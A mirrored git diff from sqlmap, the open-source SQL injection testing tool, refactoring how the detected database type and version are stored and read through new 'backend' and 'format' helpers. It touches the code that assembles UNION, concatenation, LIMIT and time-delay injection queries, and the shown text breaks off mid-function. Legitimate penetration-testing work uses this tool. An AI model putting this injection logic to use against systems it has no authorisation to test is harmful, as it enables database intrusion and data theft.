mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-31 11:59:04 +00:00
Major code refactoring - centralized all kb.dbms* info for both retrieval and set.
This commit is contained in:
@@ -8,7 +8,8 @@ See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.controller.handler import setHandler
|
||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import format
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -30,8 +31,8 @@ def action():
|
||||
# system to be able to go ahead with the injection
|
||||
setHandler()
|
||||
|
||||
if not kb.dbmsDetected or not conf.dbmsHandler:
|
||||
htmlParsed = getErrorParsedDBMSesFormatted()
|
||||
if not backend.getDbms() or not conf.dbmsHandler:
|
||||
htmlParsed = format.getErrorParsedDBMSes()
|
||||
|
||||
errMsg = "sqlmap was not able to fingerprint the "
|
||||
errMsg += "back-end database management system"
|
||||
|
||||
@@ -13,15 +13,14 @@ import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import aliasToDbmsEnum
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import beep
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import findDynamicContent
|
||||
from lib.core.common import format
|
||||
from lib.core.common import getComparePageRatio
|
||||
from lib.core.common import getCompiledRegex
|
||||
from lib.core.common import getErrorParsedDBMSes
|
||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import getInjectionTests
|
||||
from lib.core.common import getSortedInjectionTests
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import popValue
|
||||
from lib.core.common import pushValue
|
||||
@@ -50,6 +49,7 @@ from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapUserQuitException
|
||||
from lib.core.session import setDynamicMarkings
|
||||
from lib.core.settings import CONSTANT_RATIO
|
||||
from lib.core.settings import UNKNOWN_DBMS_VERSION
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.unescaper import unescaper
|
||||
@@ -78,8 +78,8 @@ def unescapeDbms(payload, injection, dbms):
|
||||
payload = unescape(payload, dbms=dbms)
|
||||
elif conf.dbms is not None:
|
||||
payload = unescape(payload, dbms=conf.dbms)
|
||||
elif getIdentifiedDBMS() is not None:
|
||||
payload = unescape(payload, dbms=getIdentifiedDBMS())
|
||||
elif backend.getIdentifiedDbms() is not None:
|
||||
payload = unescape(payload, dbms=backend.getIdentifiedDbms())
|
||||
|
||||
return payload
|
||||
|
||||
@@ -91,7 +91,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
# Set the flag for sql injection test mode
|
||||
kb.testMode = True
|
||||
|
||||
for test in getInjectionTests():
|
||||
for test in getSortedInjectionTests():
|
||||
try:
|
||||
if kb.endDetection:
|
||||
break
|
||||
@@ -164,19 +164,19 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
continue
|
||||
|
||||
if len(getErrorParsedDBMSes()) > 0 and dbms not in getErrorParsedDBMSes() and kb.skipOthersDbms is None:
|
||||
if len(backend.getErrorParsedDBMSes()) > 0 and dbms not in backend.getErrorParsedDBMSes() and kb.skipOthersDbms is None:
|
||||
msg = "parsed error message(s) showed that the "
|
||||
msg += "back-end DBMS could be '%s'. " % getErrorParsedDBMSesFormatted()
|
||||
msg += "back-end DBMS could be %s. " % format.getErrorParsedDBMSes()
|
||||
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
||||
|
||||
if conf.realTest or readInput(msg, default="Y") in ("y", "Y"):
|
||||
kb.skipOthersDbms = getErrorParsedDBMSes()
|
||||
kb.skipOthersDbms = backend.getErrorParsedDBMSes()
|
||||
|
||||
if kb.skipOthersDbms and dbms not in kb.skipOthersDbms:
|
||||
debugMsg = "skipping test '%s' because " % title
|
||||
debugMsg += "the parsed error message(s) showed "
|
||||
debugMsg += "that the back-end DBMS could be "
|
||||
debugMsg += "%s" % getErrorParsedDBMSesFormatted()
|
||||
debugMsg += "%s" % format.getErrorParsedDBMSes()
|
||||
logger.debug(debugMsg)
|
||||
|
||||
continue
|
||||
@@ -395,7 +395,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
# Force back-end DBMS according to the current
|
||||
# test value for proper payload unescaping
|
||||
kb.misc.forcedDbms = dbms
|
||||
backend.forceDbms(dbms)
|
||||
|
||||
# Skip test if the user provided custom column
|
||||
# range and this is not a custom UNION test
|
||||
@@ -407,7 +407,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
configUnion(test.request.char, test.request.columns)
|
||||
|
||||
if not getIdentifiedDBMS():
|
||||
if not backend.getIdentifiedDbms():
|
||||
warnMsg = "using unescaped version of the test "
|
||||
warnMsg += "because of zero knowledge of the "
|
||||
warnMsg += "back-end DBMS"
|
||||
@@ -426,8 +426,8 @@ def checkSqlInjection(place, parameter, value):
|
||||
# by unionTest() directly
|
||||
where = vector[6]
|
||||
|
||||
# Reset back-end DBMS value
|
||||
kb.misc.forcedDbms = None
|
||||
# Reset forced back-end DBMS value
|
||||
backend.flushForcedDbms()
|
||||
|
||||
# If the injection test was successful feed the injection
|
||||
# object with the test's details
|
||||
@@ -481,7 +481,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
if inp == injection.dbms:
|
||||
break
|
||||
elif inp == dValue:
|
||||
kb.dbms = aliasToDbmsEnum(inp)
|
||||
backend.setDbms(inp)
|
||||
injection.dbms = aliasToDbmsEnum(inp)
|
||||
injection.dbms_version = None
|
||||
break
|
||||
@@ -489,10 +489,10 @@ def checkSqlInjection(place, parameter, value):
|
||||
warnMsg = "invalid value"
|
||||
logger.warn(warnMsg)
|
||||
elif dKey == "dbms" and injection.dbms is None:
|
||||
kb.dbms = aliasToDbmsEnum(dValue)
|
||||
backend.setDbms(dValue)
|
||||
injection.dbms = aliasToDbmsEnum(dValue)
|
||||
elif dKey == "dbms_version" and injection.dbms_version is None:
|
||||
kb.dbmsVersion = [ dValue ]
|
||||
backend.setVersion(dValue)
|
||||
injection.dbms_version = dValue
|
||||
elif dKey == "os" and injection.os is None:
|
||||
injection.os = dValue
|
||||
@@ -558,7 +558,7 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
infoMsg += "parameter '%s' might " % parameter
|
||||
|
||||
if result:
|
||||
infoMsg += "be injectable (possible DBMS: %s)" % (getErrorParsedDBMSesFormatted() or 'Unknown')
|
||||
infoMsg += "be injectable (possible DBMS: %s)" % (format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
infoMsg += "not be injectable"
|
||||
|
||||
@@ -7,7 +7,7 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import popValue
|
||||
from lib.core.common import pushValue
|
||||
from lib.core.data import conf
|
||||
@@ -63,11 +63,11 @@ def setHandler():
|
||||
( SYBASE_ALIASES, SybaseMap, SybaseConn ),
|
||||
]
|
||||
|
||||
if getIdentifiedDBMS() is not None:
|
||||
if backend.getIdentifiedDbms() is not None:
|
||||
for i in xrange(len(dbmsObj)):
|
||||
dbmsAliases, _, _ = dbmsObj[i]
|
||||
|
||||
if getIdentifiedDBMS().lower() in dbmsAliases:
|
||||
if backend.getIdentifiedDbms().lower() in dbmsAliases:
|
||||
if i > 0:
|
||||
pushValue(dbmsObj[i])
|
||||
dbmsObj.remove(dbmsObj[i])
|
||||
@@ -94,12 +94,12 @@ def setHandler():
|
||||
conf.dbmsConnector.connect()
|
||||
|
||||
if handler.checkDbms():
|
||||
kb.dbmsDetected = True
|
||||
conf.dbmsHandler = handler
|
||||
|
||||
break
|
||||
else:
|
||||
conf.dbmsConnector = None
|
||||
|
||||
# At this point proper back-end DBMS is fingerprinted (kb.dbms)
|
||||
kb.misc.forcedDbms = None
|
||||
# At this point back-end DBMS is correctly fingerprinted, no need
|
||||
# to enforce it anymore
|
||||
backend.flushForcedDbms()
|
||||
|
||||
@@ -11,9 +11,8 @@ import re
|
||||
|
||||
from xml.etree import ElementTree as ET
|
||||
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import getCompiledRegex
|
||||
from lib.core.common import getErrorParsedDBMSes
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import isDBMSVersionAtLeast
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
from lib.core.common import randomInt
|
||||
@@ -206,8 +205,8 @@ class Agent:
|
||||
payload = payload.replace("[ORIGVALUE]", origvalue)
|
||||
|
||||
if "[INFERENCE]" in payload:
|
||||
if getIdentifiedDBMS() is not None:
|
||||
inference = queries[getIdentifiedDBMS()].inference
|
||||
if backend.getIdentifiedDbms() is not None:
|
||||
inference = queries[backend.getIdentifiedDbms()].inference
|
||||
|
||||
if "dbms_version" in inference:
|
||||
if isDBMSVersionAtLeast(inference.dbms_version):
|
||||
@@ -265,17 +264,17 @@ class Agent:
|
||||
|
||||
# SQLite version 2 does not support neither CAST() nor IFNULL(),
|
||||
# introduced only in SQLite version 3
|
||||
if getIdentifiedDBMS() == DBMS.SQLITE:
|
||||
if backend.getIdentifiedDbms() == DBMS.SQLITE:
|
||||
return field
|
||||
|
||||
if field.startswith("(CASE"):
|
||||
nulledCastedField = field
|
||||
else:
|
||||
nulledCastedField = queries[getIdentifiedDBMS()].cast.query % field
|
||||
if getIdentifiedDBMS() == DBMS.ACCESS:
|
||||
nulledCastedField = queries[getIdentifiedDBMS()].isnull.query % (nulledCastedField, nulledCastedField)
|
||||
nulledCastedField = queries[backend.getIdentifiedDbms()].cast.query % field
|
||||
if backend.getIdentifiedDbms() == DBMS.ACCESS:
|
||||
nulledCastedField = queries[backend.getIdentifiedDbms()].isnull.query % (nulledCastedField, nulledCastedField)
|
||||
else:
|
||||
nulledCastedField = queries[getIdentifiedDBMS()].isnull.query % nulledCastedField
|
||||
nulledCastedField = queries[backend.getIdentifiedDbms()].isnull.query % nulledCastedField
|
||||
|
||||
return nulledCastedField
|
||||
|
||||
@@ -309,12 +308,12 @@ class Agent:
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if not kb.dbmsDetected:
|
||||
if not backend.getDbms():
|
||||
return fields
|
||||
|
||||
fields = fields.replace(", ", ",")
|
||||
fieldsSplitted = fields.split(",")
|
||||
dbmsDelimiter = queries[getIdentifiedDBMS()].delimiter.query
|
||||
dbmsDelimiter = queries[backend.getIdentifiedDbms()].delimiter.query
|
||||
nulledCastedFields = []
|
||||
|
||||
for field in fieldsSplitted:
|
||||
@@ -377,13 +376,13 @@ class Agent:
|
||||
def simpleConcatQuery(self, query1, query2):
|
||||
concatenatedQuery = ""
|
||||
|
||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
||||
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
|
||||
|
||||
elif getIdentifiedDBMS() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
|
||||
elif backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
|
||||
concatenatedQuery = "%s||%s" % (query1, query2)
|
||||
|
||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
concatenatedQuery = "%s+%s" % (query1, query2)
|
||||
|
||||
return concatenatedQuery
|
||||
@@ -425,7 +424,7 @@ class Agent:
|
||||
concatenatedQuery = query
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
|
||||
|
||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
||||
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
|
||||
concatenatedQuery += ",'%s')" % kb.misc.stop
|
||||
@@ -438,7 +437,7 @@ class Agent:
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
|
||||
|
||||
elif getIdentifiedDBMS() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
|
||||
elif backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.misc.stop
|
||||
@@ -451,10 +450,10 @@ class Agent:
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
|
||||
|
||||
if getIdentifiedDBMS() == DBMS.ORACLE and " FROM " not in concatenatedQuery and (fieldsSelect or fieldsNoSelect):
|
||||
if backend.getIdentifiedDbms() == DBMS.ORACLE and " FROM " not in concatenatedQuery and (fieldsSelect or fieldsNoSelect):
|
||||
concatenatedQuery += " FROM DUAL"
|
||||
|
||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
|
||||
concatenatedQuery += "+'%s'" % kb.misc.stop
|
||||
@@ -520,8 +519,8 @@ class Agent:
|
||||
intoRegExp = intoRegExp.group(1)
|
||||
query = query[:query.index(intoRegExp)]
|
||||
|
||||
if getIdentifiedDBMS() in FROM_TABLE and inbandQuery.endswith(FROM_TABLE[getIdentifiedDBMS()]):
|
||||
inbandQuery = inbandQuery[:-len(FROM_TABLE[getIdentifiedDBMS()])]
|
||||
if backend.getIdentifiedDbms() in FROM_TABLE and inbandQuery.endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
|
||||
inbandQuery = inbandQuery[:-len(FROM_TABLE[backend.getIdentifiedDbms()])]
|
||||
|
||||
for element in range(count):
|
||||
if element > 0:
|
||||
@@ -540,9 +539,9 @@ class Agent:
|
||||
conditionIndex = query.index(" FROM ")
|
||||
inbandQuery += query[conditionIndex:]
|
||||
|
||||
if getIdentifiedDBMS() in FROM_TABLE:
|
||||
if backend.getIdentifiedDbms() in FROM_TABLE:
|
||||
if " FROM " not in inbandQuery:
|
||||
inbandQuery += FROM_TABLE[getIdentifiedDBMS()]
|
||||
inbandQuery += FROM_TABLE[backend.getIdentifiedDbms()]
|
||||
|
||||
if intoRegExp:
|
||||
inbandQuery += intoRegExp
|
||||
@@ -559,8 +558,8 @@ class Agent:
|
||||
else:
|
||||
inbandQuery += char
|
||||
|
||||
if getIdentifiedDBMS() in FROM_TABLE:
|
||||
inbandQuery += FROM_TABLE[getIdentifiedDBMS()]
|
||||
if backend.getIdentifiedDbms() in FROM_TABLE:
|
||||
inbandQuery += FROM_TABLE[backend.getIdentifiedDbms()]
|
||||
|
||||
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
|
||||
|
||||
@@ -589,21 +588,21 @@ class Agent:
|
||||
"""
|
||||
|
||||
limitedQuery = query
|
||||
limitStr = queries[getIdentifiedDBMS()].limit.query
|
||||
limitStr = queries[backend.getIdentifiedDbms()].limit.query
|
||||
fromIndex = limitedQuery.index(" FROM ")
|
||||
untilFrom = limitedQuery[:fromIndex]
|
||||
fromFrom = limitedQuery[fromIndex+1:]
|
||||
orderBy = False
|
||||
|
||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
||||
limitStr = queries[getIdentifiedDBMS()].limit.query % (num, 1)
|
||||
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
||||
limitStr = queries[backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
||||
limitStr = queries[getIdentifiedDBMS()].limit.query % (num+1, num+1)
|
||||
elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||
limitStr = queries[backend.getIdentifiedDbms()].limit.query % (num+1, num+1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
||||
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
|
||||
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
||||
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||
@@ -615,7 +614,7 @@ class Agent:
|
||||
limitedQuery = limitedQuery % fromFrom
|
||||
limitedQuery += "=%d" % (num + 1)
|
||||
|
||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
forgeNotIn = True
|
||||
|
||||
if " ORDER BY " in limitedQuery:
|
||||
@@ -629,7 +628,7 @@ class Agent:
|
||||
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
|
||||
|
||||
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
||||
topNums = re.search(queries[getIdentifiedDBMS()].limitregexp.query, limitedQuery, re.I)
|
||||
topNums = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I)
|
||||
|
||||
if topNums:
|
||||
topNums = topNums.groups()
|
||||
@@ -675,8 +674,8 @@ class Agent:
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if getIdentifiedDBMS() is not None and hasattr(queries[getIdentifiedDBMS()], "case"):
|
||||
return queries[getIdentifiedDBMS()].case.query % expression
|
||||
if backend.getIdentifiedDbms() is not None and hasattr(queries[backend.getIdentifiedDbms()], "case"):
|
||||
return queries[backend.getIdentifiedDbms()].case.query % expression
|
||||
else:
|
||||
return expression
|
||||
|
||||
|
||||
@@ -78,12 +78,14 @@ from lib.core.settings import MIN_TIME_RESPONSES
|
||||
from lib.core.settings import TIME_DEFAULT_DELAY
|
||||
from lib.core.settings import TIME_STDEV_COEFF
|
||||
from lib.core.settings import DYNAMICITY_MARK_LENGTH
|
||||
from lib.core.settings import UNKNOWN_DBMS_VERSION
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
|
||||
class UnicodeRawConfigParser(RawConfigParser):
|
||||
"""
|
||||
RawConfigParser with unicode writing support
|
||||
"""
|
||||
|
||||
def write(self, fp):
|
||||
"""
|
||||
Write an .ini-format representation of the configuration state.
|
||||
@@ -109,10 +111,10 @@ class UnicodeRawConfigParser(RawConfigParser):
|
||||
|
||||
fp.write("\n")
|
||||
|
||||
|
||||
class DynamicContentItem:
|
||||
"""
|
||||
Represents line in content page with dynamic properties (candidate for removal prior detection phase)
|
||||
Represents line in content page with dynamic properties (candidate
|
||||
for removal prior detection phase)
|
||||
"""
|
||||
|
||||
def __init__(self, lineNumber, pageTotal, lineContentBefore, lineContentAfter):
|
||||
@@ -121,7 +123,6 @@ class DynamicContentItem:
|
||||
self.lineContentBefore = lineContentBefore
|
||||
self.lineContentAfter = lineContentAfter
|
||||
|
||||
|
||||
def paramToDict(place, parameters=None):
|
||||
"""
|
||||
Split the parameters into names and values, check if these parameters
|
||||
@@ -203,110 +204,6 @@ def paramToDict(place, parameters=None):
|
||||
|
||||
return testableParameters
|
||||
|
||||
def formatDBMSfp(versions=None):
|
||||
"""
|
||||
This function format the back-end DBMS fingerprint value and return its
|
||||
values formatted as a human readable string.
|
||||
|
||||
@return: detected back-end DBMS based upon fingerprint techniques.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
while versions and None in versions:
|
||||
versions.remove(None)
|
||||
|
||||
if not versions and kb.dbmsVersion and kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION and kb.dbmsVersion[0] != None:
|
||||
versions = kb.dbmsVersion
|
||||
|
||||
if isinstance(versions, basestring):
|
||||
return "%s %s" % (getIdentifiedDBMS(), versions)
|
||||
elif isinstance(versions, (list, set, tuple)):
|
||||
return "%s %s" % (getIdentifiedDBMS(), " and ".join([version for version in versions]))
|
||||
elif not versions:
|
||||
warnMsg = "unable to extensively fingerprint the back-end "
|
||||
warnMsg += "DBMS version"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return getIdentifiedDBMS()
|
||||
|
||||
def formatFingerprintString(values, chain=" or "):
|
||||
strJoin = "|".join([v for v in values])
|
||||
|
||||
return strJoin.replace("|", chain)
|
||||
|
||||
def formatFingerprint(target, info):
|
||||
"""
|
||||
This function format the back-end operating system fingerprint value
|
||||
and return its values formatted as a human readable string.
|
||||
|
||||
Example of info (kb.headersFp) dictionary:
|
||||
|
||||
{
|
||||
'distrib': set(['Ubuntu']),
|
||||
'type': set(['Linux']),
|
||||
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
|
||||
'release': set(['8.10'])
|
||||
}
|
||||
|
||||
Example of info (kb.bannerFp) dictionary:
|
||||
|
||||
{
|
||||
'sp': set(['Service Pack 4']),
|
||||
'dbmsVersion': '8.00.194',
|
||||
'dbmsServicePack': '0',
|
||||
'distrib': set(['2000']),
|
||||
'dbmsRelease': '2000',
|
||||
'type': set(['Windows'])
|
||||
}
|
||||
|
||||
@return: detected back-end operating system based upon fingerprint
|
||||
techniques.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
infoStr = ""
|
||||
|
||||
if info and "type" in info:
|
||||
infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"]))
|
||||
|
||||
if "distrib" in info:
|
||||
infoStr += " %s" % formatFingerprintString(info["distrib"])
|
||||
|
||||
if "release" in info:
|
||||
infoStr += " %s" % formatFingerprintString(info["release"])
|
||||
|
||||
if "sp" in info:
|
||||
infoStr += " %s" % formatFingerprintString(info["sp"])
|
||||
|
||||
if "codename" in info:
|
||||
infoStr += " (%s)" % formatFingerprintString(info["codename"])
|
||||
|
||||
if "technology" in info:
|
||||
infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ")
|
||||
|
||||
return infoStr
|
||||
|
||||
def getErrorParsedDBMSesFormatted():
|
||||
"""
|
||||
This function parses the knowledge base htmlFp list and return its
|
||||
values formatted as a human readable string.
|
||||
|
||||
@return: list of possible back-end DBMS based upon error messages
|
||||
parsing.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
htmlParsed = ""
|
||||
|
||||
if len(kb.htmlFp) == 0:
|
||||
return None
|
||||
elif len(kb.htmlFp) == 1:
|
||||
htmlParsed = kb.htmlFp[0]
|
||||
elif len(kb.htmlFp) > 1:
|
||||
htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
|
||||
|
||||
return htmlParsed
|
||||
|
||||
def getDocRoot(webApi=None):
|
||||
docRoot = None
|
||||
pagePath = directoryPath(conf.path)
|
||||
@@ -626,14 +523,14 @@ def parsePasswordHash(password):
|
||||
if not password or password == " ":
|
||||
password = "NULL"
|
||||
|
||||
if getIdentifiedDBMS() == DBMS.MSSQL and password != "NULL" and isHexEncodedString(password):
|
||||
if backend.getIdentifiedDbms() == DBMS.MSSQL and password != "NULL" and isHexEncodedString(password):
|
||||
hexPassword = password
|
||||
password = "%s\n" % hexPassword
|
||||
password += "%sheader: %s\n" % (blank, hexPassword[:6])
|
||||
password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
|
||||
password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
|
||||
|
||||
if kb.dbmsVersion[0] not in ( "2005", "2008" ):
|
||||
if not backend.isVersionWithin(("2005", "2008")):
|
||||
password += "%suppercase: %s" % (blank, hexPassword[54:])
|
||||
|
||||
return password
|
||||
@@ -927,25 +824,25 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
|
||||
def getDelayQuery(andCond=False):
|
||||
query = None
|
||||
|
||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
if not kb.data.banner:
|
||||
conf.dbmsHandler.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||
|
||||
if banVer is None or (getIdentifiedDBMS() == DBMS.MYSQL and banVer >= "5.0.12") or (getIdentifiedDBMS() == DBMS.PGSQL and banVer >= "8.2"):
|
||||
query = queries[getIdentifiedDBMS()].timedelay.query % conf.timeSec
|
||||
if banVer is None or (backend.getIdentifiedDbms() == DBMS.MYSQL and banVer >= "5.0.12") or (backend.getIdentifiedDbms() == DBMS.PGSQL and banVer >= "8.2"):
|
||||
query = queries[backend.getIdentifiedDbms()].timedelay.query % conf.timeSec
|
||||
else:
|
||||
query = queries[getIdentifiedDBMS()].timedelay.query2 % conf.timeSec
|
||||
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
||||
query = queries[getIdentifiedDBMS()].timedelay.query
|
||||
query = queries[backend.getIdentifiedDbms()].timedelay.query2 % conf.timeSec
|
||||
elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||
query = queries[backend.getIdentifiedDbms()].timedelay.query
|
||||
else:
|
||||
query = queries[getIdentifiedDBMS()].timedelay.query % conf.timeSec
|
||||
query = queries[backend.getIdentifiedDbms()].timedelay.query % conf.timeSec
|
||||
|
||||
if andCond:
|
||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.SQLITE ):
|
||||
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.SQLITE ):
|
||||
query = query.replace("SELECT ", "")
|
||||
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
||||
elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||
query = "(%s)>0" % query
|
||||
|
||||
return query
|
||||
@@ -1524,7 +1421,6 @@ def getUnicode(value, encoding=None):
|
||||
else:
|
||||
return unicode(value) # encoding ignored for non-basestring instances
|
||||
|
||||
|
||||
# http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2
|
||||
def longestCommonPrefix(*sequences):
|
||||
if len(sequences) == 1:
|
||||
@@ -1902,8 +1798,8 @@ def isDBMSVersionAtLeast(version):
|
||||
|
||||
retVal = None
|
||||
|
||||
if kb.dbmsVersion and kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION and kb.dbmsVersion[0] != None:
|
||||
value = kb.dbmsVersion[0].replace(" ", "").rstrip('.')
|
||||
if backend.getVersion() and backend.getVersion() != UNKNOWN_DBMS_VERSION:
|
||||
value = backend.getVersion().replace(" ", "").rstrip('.')
|
||||
|
||||
while True:
|
||||
index = value.find('.', value.find('.') + 1)
|
||||
@@ -2004,7 +1900,7 @@ def arrayizeValue(value):
|
||||
|
||||
return value
|
||||
|
||||
def getInjectionTests():
|
||||
def getSortedInjectionTests():
|
||||
"""
|
||||
Returns prioritized test list by eventually detected DBMS from error
|
||||
messages
|
||||
@@ -2019,14 +1915,14 @@ def getInjectionTests():
|
||||
retVal = SORTORDER.LAST
|
||||
|
||||
elif 'details' in test and 'dbms' in test.details:
|
||||
if test.details.dbms in getErrorParsedDBMSes():
|
||||
if test.details.dbms in backend.getErrorParsedDBMSes():
|
||||
retVal = SORTORDER.SECOND
|
||||
else:
|
||||
retVal = SORTORDER.THIRD
|
||||
|
||||
return retVal
|
||||
|
||||
if getErrorParsedDBMSes():
|
||||
if backend.getErrorParsedDBMSes():
|
||||
retVal = sorted(retVal, key=priorityFunction)
|
||||
|
||||
return retVal
|
||||
@@ -2064,34 +1960,218 @@ def unicodeToSafeHTMLValue(value):
|
||||
|
||||
return retVal
|
||||
|
||||
def getErrorParsedDBMSes():
|
||||
"""
|
||||
Returns array with parsed DBMS names till now
|
||||
class format:
|
||||
@staticmethod
|
||||
def humanize(values, chain=" or "):
|
||||
strJoin = "|".join([v for v in values])
|
||||
|
||||
This functions is called to:
|
||||
return strJoin.replace("|", chain)
|
||||
|
||||
1. Sort the tests, getInjectionTests() - detection phase.
|
||||
2. Ask user whether or not skip specific DBMS tests in detection phase,
|
||||
lib/controller/checks.py - detection phase.
|
||||
3. Sort the fingerprint of the DBMS, lib/controller/handler.py -
|
||||
fingerprint phase.
|
||||
"""
|
||||
# Get methods
|
||||
@staticmethod
|
||||
def getDbms(versions=None):
|
||||
"""
|
||||
Format the back-end DBMS fingerprint value and return its
|
||||
values formatted as a human readable string.
|
||||
|
||||
return kb.htmlFp
|
||||
@return: detected back-end DBMS based upon fingerprint techniques.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
def getIdentifiedDBMS():
|
||||
dbms = None
|
||||
if versions is None and backend.getVersionList():
|
||||
versions = backend.getVersionList()
|
||||
|
||||
if kb.misc.forcedDbms is not None:
|
||||
dbms = kb.misc.forcedDbms
|
||||
elif kb.dbms is not None:
|
||||
dbms = kb.dbms
|
||||
elif conf.dbms is not None:
|
||||
dbms = conf.dbms
|
||||
elif len(getErrorParsedDBMSes()) > 0:
|
||||
dbms = getErrorParsedDBMSes()[0]
|
||||
if versions is None:
|
||||
return backend.getDbms()
|
||||
else:
|
||||
